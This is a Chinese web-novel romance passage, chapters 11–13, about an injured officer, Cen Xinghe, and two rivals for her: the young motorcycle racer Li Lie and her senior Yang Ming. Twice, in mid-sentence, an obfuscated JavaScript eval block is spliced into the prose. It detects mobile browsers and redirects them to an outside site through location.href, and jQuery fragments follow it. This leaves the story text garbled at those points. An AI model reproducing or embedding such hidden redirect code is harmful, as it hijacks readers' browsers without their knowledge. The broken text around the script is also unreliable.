姐姐两个字,轻飘飘的,像羽毛落在地上。 杨铭看了李烈一眼,笑了笑,拉开门走了,门在他身后轻轻合上,一点声音都没有,礼貌到极致。 病房里安静了。 岑星禾看着李烈,他站在原地,手里还拎着她的包,脸上的表情没什么变化,那层痞痞的壳子底下有什么东西裂了一条缝。 “你别在意。”她说,“他知道你是......” “他说的对。”李烈打断她。 岑星禾愣了一下。 “什么?” 李烈把包放回床头柜上,动作很轻,和他此刻的表情不像是一个人做出来的,他在床边坐下来,两个人之间隔了不到一臂的距离,他抬起头看着她,“你受伤了,我什么都做不了。” 岑星禾听得出底下压着的东是对泰显川和对自己无能为力的。 “李烈。”她低低叫了一声。 “程焕告诉我不要轻举妄动,我没听。”他低下头,看着自己手背上干了的血迹,“我要是不去,你是不是就不会受伤?” “跟你没关系。”岑星禾说,“抓捕行动本来就有危险。” “跟我有关系。” 他的声音大了一点,又立刻收回去,他偏过头,窗外的光落在他侧脸上,把他下颌线的轮廓勾得很清晰,喉结上下滚动了一下。 岑星禾没有说话。 过了一会儿,她伸出没受伤的那只手,轻轻碰了碰他放在膝盖上的手指。 他的手指很凉。 李烈看着她碰到自己的那只手,她的指尖很白,指甲修得很短,圆圆的,干干净净,他翻过手掌,把她的手握住了,用掌心包着她的手指,拇指按在她指节上,一下一下地摩挲。 他没有看她,岑星禾也没有抽回来。 过了好一会儿,李烈松开她的手,把她的手塞进被子里,掖了掖被角,走去把窗帘拉严实了,又把空调调高了两度,“你睡,我坐这儿。” “你不用守着。” “我怕杨铭半夜来偷袭。” 岑星禾哭笑不得:“他不至于。” “至于。”李烈坐回椅子上,往椅背上一靠,两条大长腿伸开,闭上了眼睛。 过了一会儿他又睁开,“岑星禾。” “嗯。” “你以后别自己冲上去了。” 岑星禾没有回答。 “幸好没出大事,就是可惜了你的新包。”他说。 岑星禾微微一笑:“一个包而已。” 李烈闭上眼,“回头我给你买个新的。” 岑星禾看着他的脸,在病房昏黄的灯光下,十九岁的少年嘴角还有一点没来得及收回去的弧度,他的睫毛很长,在眼底投下一小片扇形的阴影。 她忽然觉得这间消毒水味道浓得刺鼻的病房,好像也没那么讨厌了,“不用买,我还有包。” 李烈睁开眼睛,看了她一眼,四目相对,谁都没有说话。 走廊的灯暗了一盏,病房里又暗了几分。 窗外,月亮挂在城市的上空,像一个沉默且心知肚明的证人。 11. Chapter11·吃飞醋 早上八点半,岑星禾是被窗外的光晃醒的。 吊瓶还在滴,左手背上扎着留置针,透明的管子弯弯曲曲地垂下来,她偏头看了一眼旁边那把椅子,小毯子叠得整整齐齐,椅面上有凹下去的痕迹。 护士进来量了体温,换了第二瓶药水,说打完这瓶就可以出院了,岑星禾靠在床头,头发没梳,脸也没洗,头发散乱着,整个人蔫蔫的。 门忽然被推开了。 杨铭走进来,手里提着两个袋子,一个装着保温桶,另一个装着纸袋,油渍从纸袋底部渗出来,透出一股芝麻酱的香。 “醒了?”他把袋子放在床头柜上,拉开椅子坐下,“给你带了豆花和油条,豆花是咸的,不知道你吃不吃得惯。” 岑星禾看了一眼墙上的钟,“你怎么这么早?” “怕你饿。”杨铭拧开保温桶的盖子,白嫩嫩的豆花冒着热气,上面撒着紫菜,虾皮,葱花,酱油已经浇好了,咸香味往鼻子里钻。 他刚把碗从保温桶里端出来,放在床头柜上,油条也摆好了,筷子拆开了,一切刚刚就位。 门忽然又被推开了。 这一次是用力的,门把撞到墙上的门吸,哐当一声。 李烈站在门口,手里拎着一个塑料袋,他穿一件黑色的薄卫衣,帽子没戴,头发有点乱,应该骑车被风吹的,额前的碎发翘起来一撮,他还喘着气,胸口一起一伏。 他的视线先落在岑星禾身上,见床头柜摆着早点,病床上放好饭桌隔板,接着移到杨铭脸上,最后停在那把椅子上,他的目光在那里停了一秒。 “我给你带了粥。”李烈把塑料袋放在床头柜的另一边,和杨铭的保温桶并排摆着,塑料袋里是一个透明塑料碗,小米粥还冒着热气,旁边有一小袋咸菜和一个剥好的水煮蛋。 岑星禾看了看左边杨铭的豆花油条,又看了看右边李烈的小米粥鸡蛋,脑袋嗡嗡作响。 “吃这个。”李烈把粥碗往她面前推了推。 “她已经要吃了。”杨铭把豆花碗也往前推了推。 李烈:“她还没吃。” 杨铭:“马上就吃了。” 李烈:“她不想吃。” 杨铭:“你问她了?” 李烈:“不用问,看就知道。” “这个养胃。”李烈又说了一句。 杨铭笑了笑:“豆花也养胃。” “豆花凉性的。”李烈说。 “那是绿豆,黄豆性平,你不知道?”杨铭说。 李烈咬了咬后槽牙,他拿起那袋咸菜撕开,倒进粥里,又用勺子搅了搅,把粥碗往岑星禾面前推了推,“吃这个。” 岑星禾看着那碗粥,又看了看的旁边的豆花,“我吃不了两份。” 李烈:“那就别吃了。” 杨铭:“那是我买的。” 李烈:“她没说想吃你的。” 杨铭:“她刚才已经打算吃了。” 李烈:“那是她客气。” 得,开始鬼打墙。 岑星禾深吸一口气,“你们两个出去。” 就在这时,门忽然又又又开了。 这次是护士,推着小车来量体温,她看了一眼满桌的早点,又看了一眼床两边坐着的两个男人,面无表情地说:“病号早饭已经定了,七点半就送来了,在护士站微波炉里热着呢。” 三个人同时看向她,犹如激光镭射灯。 护士被六道目光盯得不自在,转身出去,过了一分钟,端着一个餐盘回来了,白粥,煮鸡蛋,一小碟榨菜,一个包子。 医院的标配。 岑星禾看了那盘标配,又看了看两边各怀心事的两个人,忽然觉得医院的早饭从来没有这么亲切过。 “这个好。”她把豆花碗往杨铭那边推了推,又把粥碗往李烈那边推了推,“这个还你们,我吃这个。” 杨铭看着被推回来的豆花,笑容收了收,李烈看着被推回来的粥,嘴角往下撇了一瞬,两个人同时伸手,一人端走了自己的早饭。 接着各自打开,各自开吃。 病房里安静得只剩吸豆花的声音和喝粥的声音,杨铭吃得很慢,一口一口的像在品,李烈吃得很利落,几口就把粥喝完了,还把那个剥好的水煮蛋塞进嘴里,嚼两下咽了。 岑星禾吃着白粥配榨菜,背后一直冒汗,整个医院里没有比这更尴尬的时刻了。 * 九点半,吊瓶打完了。 护士来拔针的时候,医生正好过来查房,翻了翻病历,看了一眼岑星禾的伤口。 “今天可以出院了。”医生摘下眼镜,“注意伤口一周内不要沾水,不要吃辛辣刺激的东西,海鲜和牛羊肉也尽量不要吃,一周后来拆线。” “谢谢医生。”岑星禾点头。 医生刚走,杨铭就站起来了:“我去办出院手续。” “办过了。”李烈已经从口袋里掏出一张单子,放在桌上,“早上七点办的。” 杨铭看着那张单子,笑容没变,嘴角的弧度僵了一瞬,“起这么早。” “睡不着。”李烈说。 岑星禾下了床,把鞋穿好,站起来,伤口还有些疼痛,她的动作不太灵活,“我自己打车回去。” “我送你。”两个人又同时开口。 岑星禾没理他们,拎起包就往外走,杨铭追上来,李烈也追上来,三个人走在医院走廊里,她走在前面,两个大男人一左一右跟在后面,像两个保镖。 医院门口,岑星禾站在路边拦出租车。 杨铭从兜里掏出车钥匙,按了一下,停在路边的黑色SUV亮了一下灯,“星禾上车吧,我送你。” 李烈推着机车走过来,把头盔递给她,“戴这个。” 岑星禾看了看左边杨铭车里的真皮座椅,又看了看右边李烈后座上硬邦邦的坐垫,她伸出手,拦了一辆正好经过的出租车,“师傅,去城东兰亭苑。” 岑星禾拉开车门,坐进去关门,动作一气呵成,杨铭和李烈同时愣在原地。 出租车司机从后视镜里看了一眼,踩下油门,车开出十几米,岑星禾看了眼后视镜,李烈戴上头盔,机车拐进车道,跟在出租车后面,杨铭的车也从路边汇进来,跟在李烈后面。 出租车司机又看了一眼后视镜,终于忍不住了:“姑娘,后面那辆摩托车和那辆黑车是跟你的?” “嗯。”岑星禾闭上眼。 “你认识?” “认识。” 司机从后视镜里又看了一眼,一个穿着黑色卫衣的开机车,一个穿深蓝色外套的开SUV,两辆车之间的距离保持得一模一样,像两条鱼跟着一条大船。 “这两个都追你啊?”司机的语气带着一种看热闹不嫌事大的兴奋。 “现在的小伙子,追人追得够猛的啊,我当年追我老婆,也就是骑个自行车,跟在她公交车后面骑了三条街。” “师傅,麻烦您开稳一点。”岑星禾打断他。 司机嘿嘿笑了两声。 出租车开出两公里,到了一个十字路口停下了,刚好是红灯,岑星禾看到李烈的机车停在SUV前面,两个人在等红灯,中间隔了半个车位。 绿灯亮了。 机车起步很快,一骑绝尘,过了路口之后冷不防打了右转向灯,拐进了一条岔路扬长而去,风将少年的T恤吹得鼓了起来,他的背影快消失在中午的阳光里。 岑星禾皱了下眉头。 杨铭的车还跟在后面,不紧不慢的,又开了十几分钟,出租车停在小区门口,岑星禾付了钱,推门下车。 杨铭的车追上来,停在路边,他下车走过来,从后备箱里拿出一袋水果,不知道什么时候买的,一个大红色的礼盒,里面装着火龙果和芒果。 “给你的。”他把袋子递过来,“注意营养。” “谢谢师兄。”岑星禾接过,拎在手里,没动。 杨铭看了她的左臂一眼,又看了她的脸。“我送你上去?” “不用了,我一个人可以的,今天辛苦你了。” 杨铭站在她面前,阳光从他身后照过来,在他脸上落下一半明一半暗,他的笑容还是那么得体,眼底却有一层很薄的东西,像水面上的一层油光,不仔细看看不清。 “那你好好休息。”他转身拉开车门,坐进去,点火发动开走,整个过程没有任何多余的动作。 岑星禾看着他车子消失在路口,才转过身走进小区,到了家她把包扔在沙发上,把水果放到桌上,左臂吊着绷带,只能用一只手,动作慢得像树懒。 她洗了个脸,换了睡衣,窝在沙发上发呆,阳光从窗户照进来,把茶几上一只没洗的杯子照出一圈光晕。 过了大概一个小时。 门铃响了。 岑星禾起身去开门,从猫眼里往外看了一眼,是李烈站在门口,手里提着两个大塑料袋。 她拉开门,“你怎么知道我住这儿?” “每次送你回来,亮得都是这间屋子。”李烈走进来,自己弯腰从鞋柜里找拖鞋,他换好鞋,把塑料袋放在餐桌上,开始往外拿东西。 一管祛疤凝胶,进口的,全是英文,两盒疤痕贴,硅酮的,盒子上的图片显示是贴在伤口上的,一箱纯牛奶,一袋红富士苹果,还有一挂香蕉,香蕉是那种微微发黄的,熟得刚好。 岑星禾看着桌上这一堆东西,愣了三秒。“你怎么跟我妈似的,小小年纪这么懂人情世故了。” 李烈把东西摆好,拍了拍手,转过身看着她,他倚在餐桌边上,一条腿伸着,另一条腿微微弯曲,姿势和他站在修车铺里一模一样,“你妈来会给你买祛疤膏?” 岑星禾噎了一下,“那倒不会。” “那不就得了。”他嘴角的弧度已经藏不住了,“你妈是你妈,我是我。” 岑星禾看了他一眼。 他穿着那件黑色的薄卫衣,帽子放下来了,领口松松垮垮地露出一截锁骨,他站在餐桌边上,逆着窗外的光,整个人被镀上一层模糊的光晕,他比她高出太多了,隔着几步的距离,她也得微微仰起头才能看清他的表情。 “你怎么挑的?”她指了指那堆东西,“你花了多少钱?” “没多少钱。” “没多少是多少?” 李烈看了她一眼,走过来,伸出手指轻轻碰了碰她左臂上的绷带,动作很轻,像在试探一个鸡蛋熟了没有。 “拆线之后,每天涂这个。”他指了指那管凝胶,“干了之后再贴疤痕贴,说明书上写的,我看过了。” “你怎么会想到买这些?”岑星禾问。 “网上查的。” 岑星禾拿起那管蓝色凝胶,看了看说明书,“这个多少钱啊?” “不贵。” “能用医保吗?” 李烈摇摇头,说不知道。 说着打开购物软件,搜了一下小蓝管的价格,被价钱吓了一跳,这么一小管要五百多,她嘟囔道:“太贵了。” “下次不用给我水果牛奶,倒是你应该多补充营养。”岑星禾补充道。 “你到底要不要?”他的语气有点下落,“不要我拎回去。” 岑星禾笑了一下,她把桌上的东西一样一样收好,祛疤膏和疤痕贴放进抽屉里,牛奶放到厨房,苹果和香蕉放在果篮里,她做这些事情的时候只能用右手,动作笨拙,像只企鹅。 李烈站在旁边看着。 “你怎么不帮我?”她问。 李烈眼尾谢谢上挑,像一只未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548340|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被驯服的野猫,“你说不用。” “我没说。” “你刚才用眼神说了。” 岑星禾回头看了他一眼,他靠在厨房门框上抱着胳膊,嘴角勾起一阵坏笑,她的心口被什么东西轻轻撞了一下。 她走回沙发上坐下,李烈在她对面的椅子上坐下,两个人隔着一张茶几,阳光从中间穿过,把落在茶几上的光斑切成不规则的两块。 “你的腿怎么样了?”岑星禾问。 “好了。” “昨晚骑车有没有影响?” “没有。” “你刚才说睡不着,几点醒的?” 李烈看着她阳台的方向,默不作声。 岑星禾猜测,他昨晚坐了一夜,早上七点去办出院手续,然后去买粥,骑到医院,八点半到病房,中间还跑了一趟药店买祛疤膏,又去买了水果牛奶。 “谢谢你,李烈。” 李烈坐在对面,阳光落在他肩膀上,把他的黑卫衣晒出一层暖意,他看了她一会儿,歪头倒在沙发上,舒服地靠了靠她的抱枕,打了一个哈欠,“不用谢。” “你以后别受伤就行了。”他低声嘟囔,眼睛没看她。 岑星禾把长发拨到身后,两边的长发塞道耳后,露出一张白净的脸,“你也不要跑到那么危险的地方,当那些赌徒的面出老千,你知道那有多危险吗?” 李烈低头摆弄着手机,又放到一边,“你们做任务需要那么亲密吗?” 岑星禾抬起头看着他,“要真实,才能不露出破绽。” 他抬眸终于看她,狭长的眼睛里多了一丝不悦,“我早就看那小子不顺眼了,再真实也没必要搂你的肩吧?” 情侣之间搂一下那不是很正常,一碰不碰才让人生疑,岑星禾抿了下嘴,“他没别的意思。” 李烈把手机往面前的茶几上一搁,手机碰到桌面,“砰”地一声,在这间安静的客厅里,像一颗石子砸进了水里。 他从沙发上起来,走过来弯腰,双手撑在她身体两侧的电视柜上,把她整个人圈在双臂之间。 他离她太近了,近到她能闻到他身上机油的味道,他的肩膀很宽,阳光从身后照过来,把她整个人罩在他的影子里,她的后背抵着柜子,退无可退。 “你还替他说话是吧?”他尾音微微上扬,明显不开心了。 她嘴角带着一点无奈的弧度“我没那个意思。” 李烈的眼睛眯了一下,目光从她的眼睛移到她的嘴唇,停了一瞬,又回到她的眼睛,那一眼很慢,慢到她能清楚地感觉到他的视线在她嘴唇上落下时,灼得她嘴唇开始发烫。 “那你什么意思?”他声音压低了一度,“你是不是喜欢他?” 岑星禾的下巴微微抬了一下,睫毛快要扫到他的鼻梁。 “李烈。”她正色道,“你再乱说话,我要生气了。” 她直直地看着他,眼中有一种不容置疑的认真。 李烈嘴角动了一下,慢慢浮起一抹笑,得逞了又假装什么都没做。 “我也没那个意思。”他声音放软,如同一只竖起毛的狗被顺了一下,毛塌下去了,眼睛亮亮的盯着她不放。 他双手还撑在她两侧,把她圈在那个小小的空间里,“我就是不想看到你和他亲近。” 他在撒娇。 岑星禾总觉得他还和小时候一样,做错事了乖乖认错,别人都说他野惯了,难管,她从来没那么觉得过。 他的碎发垂下来,遮住了半边额头,她能看到他额角上有一道很浅很浅的疤,大概是她不在的那几年留下的。 她的手指动了一下,想伸过去碰一碰那道疤,指尖刚抬起来,又克制地缩了回去。 “李烈,你靠太近了。” 他蓦然抬眼,那一瞬间,从一只被顺了毛的大狗变成了一头盯着猎物的狼,目光从她的眼睛滑到她的鼻尖,从鼻尖滑到她的嘴唇,又从嘴唇滑到她的锁骨。 “近吗?”他声音带着一种漫不经心的危险。 岑星禾的呼吸顿了半拍。 “我觉得刚好。”他嘴角弯了一下,她看到他眼底那一层薄薄的笑意。 李烈的手指从身侧抬起来,碰了碰她垂在肩侧的发梢,指腹卷了一缕,绕了一圈,“你头发长了。” 岑星禾被他看得有些不自在,想偏过头,可他的手指还绕在她的发梢上,轻轻扯了一下,把她定在了原地。 “别生气。”他声音沙沙的,仿佛秋天踩在干树叶上。 他的拇指从她的发梢滑到她的耳廓,指腹贴着她耳后的皮肤,那里的血管很浅,她能感觉到自己的脉搏正一下一下地跳在他的指纹上。“下次我去哪里,都会和你报备。” 她的耳朵一下子烫了起来,那层薄薄的皮肤下面,血液涌上来,烧得她整个人都不太对劲。 她硬别过脸,避开他的目光,盯着墙角的冰箱,冰箱上是新买的冰箱贴,上面贴着他的Q版形象,是他粉丝做的周边,可爱乖巧,和平时满身痞气的他眼神不一样。 “知道了。”她声音很小,小到她自己都快听不见。 李烈嗯了一声,嘴角慢慢弯了起来,他终于把绕在她发梢上的手指松开,指尖从她的耳后滑下来,路过她的颈侧,停了一下,又收了回去。 他退开半步,又坐回沙发里,躺下去,一条腿伸开,另一条腿放在地上,姿态还是散漫的,眼睛一直看着她,直到她耐不住磨人的氛围转身离开。 窗外阳光很好,远处隐隐传来夏季才有的蝉鸣,一声接一声,绵延不绝,少年睡颜沉静,呼吸均匀,像是累极了。 她从卧室出来时,看到这样一副温暖的画面,不自觉笑了下,她把空调温度调高一点,拿了一条小毯子轻轻盖到了他的肚子上。 12. Chapter12·甜蜜蜜 李烈醒来的时候,天已经黑了。 他躺在沙发上,身上盖着一条薄毯,厨房的灯亮着,暖黄色的光漏出来,落在地板上,像切开的半个橘子。 窗外传来隐约的吆喝声,厨房里有锅盖磕碰的声音,水烧开的咕嘟声,还有岑星禾用单手拆包装袋的窸窸窣窣。 他坐起来,薄毯滑到腰际,头发翘起来一撮,脸上压出了沙发套的印子,整个人还带着刚睡醒的懵。 岑星禾从厨房探出头,手里拿着一把挂面,左臂放在身侧,动作笨拙得像刚学会用筷子的孩子,“醒了?我给你煮面。” 李烈皱了下眉头,从沙发上起来,趿拉着拖鞋走过去,他比她高出一个头还多,站在她身后的时候,整个人把厨房的光都挡住了,他伸手把挂面从她手里抽走,放到台面上。 “你受伤了,怎么不把我叫醒?”他声音里有刚睡醒的低哑,像砂纸磨过金属,“我给你做。” “你做饭?”岑星禾没忍住笑了,“得了吧。” 李烈拧开燃气灶,蓝色的火苗蹿上来,“我真的会做。” 他尾音微微上扬,有种大厨要露一手的架势。 岑星禾靠在厨房门框上看着他,烧水、下面条、拿筷子搅散,动作居然真的有模有样,“跟谁学的呀?” “师傅。”李烈把火调小了一点,“他做饭难吃,我就自己学了。” 他往锅里打了一个鸡蛋,溏心的,蛋白已经凝固了,蛋黄还圆鼓鼓地浮在中间,像一小块落日,面条煮好了,他盛出两碗,端到桌上,筷子摆好,连醋和香油都帮她倒好了小碟。 岑星禾坐下来吃了一口,咸淡刚好。 “怎么样?”他坐在对面,手肘撑在桌上,下巴搁在手背上,看着她的表情。 “还行。”她说,“没我煮的好吃。” 李烈嘴角弯了一下,“你煮的咸。” “那是你觉得。” “你每次煮完自己都不吃,肯定是因为难吃。” 岑星禾抬起头瞪了他一眼,他脸上的笑意更深了,眼睛弯起来的弧度好看得有点过分。 吃完面,岑星禾把碗筷收进水池,李烈从沙发上站起来,伸了个懒腰,T恤下摆被拉上去一截,露出一小截精瘦的腰线,岑星禾下意识移开了视线。 “下面好吵。”他走到窗边往下看。 他们住的地方楼下就是夜市,亮着灯的小摊挤满了半条街,烤串的烟,炒栗子的香,套圈的吆喝声,还有小孩举着荧光气球跑来跑去。 夏天的夜市有一种乱七八糟的热闹,光是站在那里看着,就觉得生活是被塞满的。 “去逛逛?”岑星禾看了他一眼。 李烈把头从窗外收回来,点了点头。 * 夜市的人很多,两个人走在一起会被挤散,岑星禾走在前面,李烈跟在后面,走着走着,她被一个卖糖葫芦的摊位绊了一下,脚下一踉跄。 幸好一只手从后面伸过来,稳稳地扣在她腰侧,他的手很大,几乎盖住了她半边腰,“看着点路。” 声音就在她头顶上方,带着一股刚吃完面的温热气息,岑星禾的耳朵一下子就烫了,她往前快走了两步,他的手从她腰上滑开,人没有退后,还是走在她旁边,肩膀离她很近,近到她能闻见他身上洗衣液的味道。 “你走慢点。”他懒懒拖着强调,似乎看穿她的羞涩。 “你走快点。”她头也不回地喊。 “我腿长。” 岑星禾侧过脸睨了他一眼,他低头看她,路灯把他的脸照得一半明一半暗,眼睛含着淡淡的坏笑,映着夜市五颜六色的灯光,亮得像两颗打碎的星星。 他们在一个套圈的摊位前停下来,摊主是个胖大叔,地上摆着各种小玩意,有陶瓷娃娃,塑料水枪,发光发箍,最远的那一排放着几个毛绒玩具,其中一个是白色的兔子,耳朵长长的,歪着头,看着就很好捏。 李烈扫码付了钱,拿了十个圈。 岑星禾站在旁边看他,他弯腰,手臂伸直,手腕轻轻一抖,圈一下子飞出去,套中一个陶瓷娃娃,第二个套中一个塑料水枪,第三个套中了那只白兔子。 周围有人“哇”了一声,李烈把兔子捡起来,拍了拍上面的灰,转身递给她,“给你。” 毛绒绒的小兔子,耳朵有点歪,眼睛是红色的塑料珠子,缝线不太齐,丑萌丑萌的,她笑着说:“你好厉害啊,每次都能中。” “小意思。”李烈把兔子塞到她怀里,耳尖有点泛红。 岑星禾把兔子抱在怀里,软乎乎的,开心的不得了,她低头捏了捏兔子的耳朵,嘴角忍不住翘起来。 李烈被夸得飘飘然,不自觉跟着她一起笑,等回头继续套圈,心神已经散了,剩下的几个圈全扔偏了,一个没中。 他们继续往前走,糖炒栗子的香味飘过来,李烈买了一袋,剥了一个,栗子肉完整地从壳里跳出来,金黄色的,冒着热气。 “嘴。”他把栗子递到她嘴边。 岑星禾犹豫了半秒,伸手接了过来,放到嘴里。 “好吃吗?”他问。 “嗯。” 他剥了一个自己吃了,接着又剥了一个,再次递到她嘴边。 “我自己会剥。”她小小声。 “你手不方便。” “我伤的是左手,剥栗子用右手。” 李烈看了她一眼,把栗子塞进自己嘴里,含混地说了一句什么,岑星禾没听清,她不想追问,怕他又说出什么惊世骇俗的话来。 夜市走到尽头,人忽然少了,路灯变得稀疏,光线暗下来,前面是一片小广场,白天有老头下棋,晚上没人。 广场边上坐着一个男孩子,十七八岁的样子,抱着一把吉他,面前摊着一个琴盒,里面零星躺着几张零钱,他正在调音,手指拨了几下琴弦,叮叮咚咚的。 李烈停下来,看了那个男孩一眼,又看了岑星禾一眼。 “你等我一下。”他走过去,蹲下来和那个男孩说了几句话。男孩点了点头,站起来把吉他递给他。 岑星禾站在原地,抱着那只白兔子,看着他抱着吉他在小板凳上坐下来,他调了调琴弦,手指拨了一下,试了个音,在安静的广场上,每个音符都清清楚楚。 街灯在他身后亮着,把他的侧脸照得很柔和,他的睫毛很长,低头的刹那在眼下投下一小片扇形的阴影,修长的手指搭在琴弦上,指节分明,指甲修得干干净净。 这双手她见过无数次,沾满机油,握着扳手,拽手套的时候咬住指尖,她不知道这双手还会弹吉他。 他抬起头,看了她一眼。 前奏响起来的时候,岑星禾的心跳漏了一拍。旋律不复杂,很悦耳,像夏天的风吹过空旷的操场,他的手指在琴弦上游走,每一个音符都稳稳当当。 他的嗓音很低,和说话的时候不一样,说话的时候他的声音带着一点沙哑,唱歌的时候,那种沙哑变成了质地,贴着旋律往下沉,沉到一个让人心口发痒的地方—— 隔着星云迁徙 流浪无数世纪 我还算幸运 在遥远的边际 最渺小的概率 与你相遇 ..... 岑星禾站在那里,抱着那只歪耳朵兔子,一动不动。 他的声音没有炫技,没有飙高音,就那么平平稳稳地唱,像一个在说一个很长的故事,每个字都咬得很清楚,像是在对某一个人说的。 路过的行人停下来,一个拎着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548341|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜篮子的阿姨站在广场边上听了两句,一对情侣手牵手走过来,女孩拽着男孩的袖子,小声说“这个人唱得好好听”,几个穿着校服的女孩子从夜市那头跑过来,举着手机拍视频。 “他是那个机车冠军吧?” “对对对就是李烈!” “天哪!他还会唱歌!” 他坐在小板凳上,腿太长,曲着有点委屈,整个人缩在那儿,像一只被塞进小盒子的大狗,唱歌的时候没有看她,低着头看着琴弦,睫毛垂着,表情很专注,嘴角没有笑,似乎把整个人融进去唱了。 唱到“与你相遇”的时候,他抬起了头,目光穿过人群,准确地落在她身上。 四目相对。 岑星禾的手指攥紧了兔子的耳朵,吉他的声音在夏夜里传得很远,他的声音很轻很轻,像怕惊动什么。 周围的人越来越多,手机举得越来越高,有人在喊“李烈好帅”,有人鼓掌,有人起哄,大喊让他再来一首。 岑星禾站在人群里,为他鼓掌,她又举起手机,打开相机,把镜头对准他,屏幕里十九岁的少年坐在路灯下,抱着吉他,身后是深蓝色的夜空,身前是一群为他停下脚步的人,昏黄的光打在身上,把白T恤染成暖黄色,额前的碎发垂下来,被风吹得微微晃动。 岑星禾按下录制键。 她不知道自己在录什么,是想录他的歌,还是这个有他的夜晚,手机屏幕里,他唱完最后一句,手指在琴弦上收了一个尾音。 他笑着看向她,像是在问好听吗? 岑星禾把手机放下来,冲他笑了一下。 她想李烈以后会成为更大舞台上的人,会有更多人认识他,更多人喜欢他,更多人举起手机拍他,今天这个晚上,在这个街角的小广场上,在夜市嘈杂的人声和糖炒栗子的香味里,他唱的这首歌是给她一个人的。 至少她是这么觉得的。 她把这个念头藏在心里,和那只歪耳朵兔子一起抱得很紧。 李烈把吉他还给那个男孩,道了谢,从人群里走过来,他走路的姿态还是那样散漫,几步就跨到了她面前,“怎么样?” “什么怎么样?” “我唱得怎么样。” 岑星禾看了他一眼,低下头捏兔子的耳朵,声音很小:“还行。” “还行?” “比我想象的好一点。” “你想象过?” 又落入猎人的圈套,岑星禾咬了咬腮肉,有种悔不当初的感觉,李烈嘴角慢慢弯了起来,露出一个得逞的坏笑。 “走了。”他转过身往前走了两步,偏过头看她,“你走不走?” 岑星禾跟上去,走在他旁边。 夜市还在吵,烧烤摊的烟飘过来,小孩举着荧光气球从他们身边跑过去,两个人的影子被路灯拉得很长,在斑马线上交叠在一起,又分开又交叠。 “李烈。”她叫他,“什么时候学的吉他呀?” 他沉默了两秒,“你上大一时,天天夸学校社团那个谁谁谁会弹吉他。” 岑星禾想了想,那个时候学校社团的确有一个学长,在元旦晚会上弹唱了一首《这一生关于你的风景》,她当时只不过和李烈提过一次。 “没有天天夸好吧。”她挑了挑眉。 “你眉飞色舞地夸,和夸了很多次没区别。” 她微微嘟起嘴,带几分嗔意,“你怎么还超级加倍呢。” 李烈步伐散漫地走在她身侧,薄唇下带着似有若无地笑意。 岑星禾低下头,看见自己的影子和他的影子在路灯下又叠在了一起。 夏日的晚风轻拂她的长发,空气中充满了花香和宁静的味道,这个美好的夏天夜晚,也许很久很久以后她都会记得。 13. Chapter13·看腹肌 拆完线之后,李烈仍然一天天往她家跑。 有时候他有事不来,岑星禾坐在沙发上,呆呆看着那只歪耳朵兔子,会莫名其妙地拿起手机,点开和他的对话框,打几个字,又删掉,接着放下手机,过一会儿又拿起来。 最后还是没打过去。 有一次她正在洗澡,听到外面手机响了,擦干手跑出来一看—是他打来的,她迫不及待地接起来,听他在电话那头语气随意,“我没什么事,就问问你伤口还痒不痒”。 她的头发还在滴水,滴在地板上,吧嗒吧嗒的,“不痒了。” 他哦了一声,“那挂了”。 挂了之后,她后知后觉自己的心跳有点快。 他经常突然打电话来,问一些无关痛痒的小事,再莫名其妙地挂掉电话,岑星禾也乐在其中,两人像在玩某种小游戏,反正只有听到彼此的声音就会心安。 他的修车铺装了空调,效果甚微,好多年前的老空调,制冷还不如一台风扇,她去过一次,待了十分钟就热得受不了,他光着膀子蹲在地上拆发动机,后背全是汗,顺着脊柱的沟往下淌,她看了两秒就移开了视线,后来再也没去。 她想过给他买台新空调,话到嘴边,他先开口了:“马上要去上学了,不用再添新东西。” 他散漫地叼着她洗好的葡萄,一口一个,岑星禾望着他这副大大咧咧的模样,原本到了嘴边的“天气太热了”默默咽了回去,最终只淡淡应了一声:“嗯。” 周六天气仍旧热得像蒸笼,风都是热的,蝉鸣声大得让人头疼。 门铃响了。 岑星禾从猫眼里看了一眼,拉开门。 李烈站在门口,穿着黑色短袖和灰色运动裤,手里拎着一个橘色的大纸袋,额头上全是汗,碎发贴在皮肤上,整个人像是从烤箱里刚拿出来。 “天这么热,你下次早上没出太阳的时候来。”她侧身将他让进来。 李烈弯腰从鞋柜里找拖鞋,动作自然得像回自己家,“早上打扰你睡觉。” 岑星禾眼波一闪,她爱睡懒觉的事他竟然还记得,以前小时候,如果第二天是周末,她都要睡到十点左右,都是自然醒。 她妈于向清周末也要出去上班,李烈十二三岁的时候,经常自己来家里,到了也不找人,自己去找饭吃,吃完饭乖乖坐在客厅看电视,音量调到最小。 有一次她醒来,发现他把她那双歪歪扭扭的拖鞋摆正了,鞋头朝外放在卧室门口,方便她穿。 他小时候是那么乖,那么惹人疼爱,她以为自己始终放不下的是过去那个让人心疼的李烈,时至今日,她都不敢细想自己的心,究竟对他是什么样的感情。 她敢回应吗?她无数次问自己。 “下次早点来没事,我睡我的,你自己拿钥匙进来。” “你给我配钥匙了?”他扬起尾音。 “还没。” “那你说什么。” 岑星禾转身去倒水,“我提前告诉你呀。” 李烈哼笑了一声,“你就不怕我半夜梦游来找你?” “我说的是早点来,半夜不算早点。”她喝了一口水,“半夜算扰民。” 李烈把橘色大纸袋随手放在餐桌上,拿起桌子上洗好的苹果咔嚓咬了一口,坐到沙发上,动作行云流水。 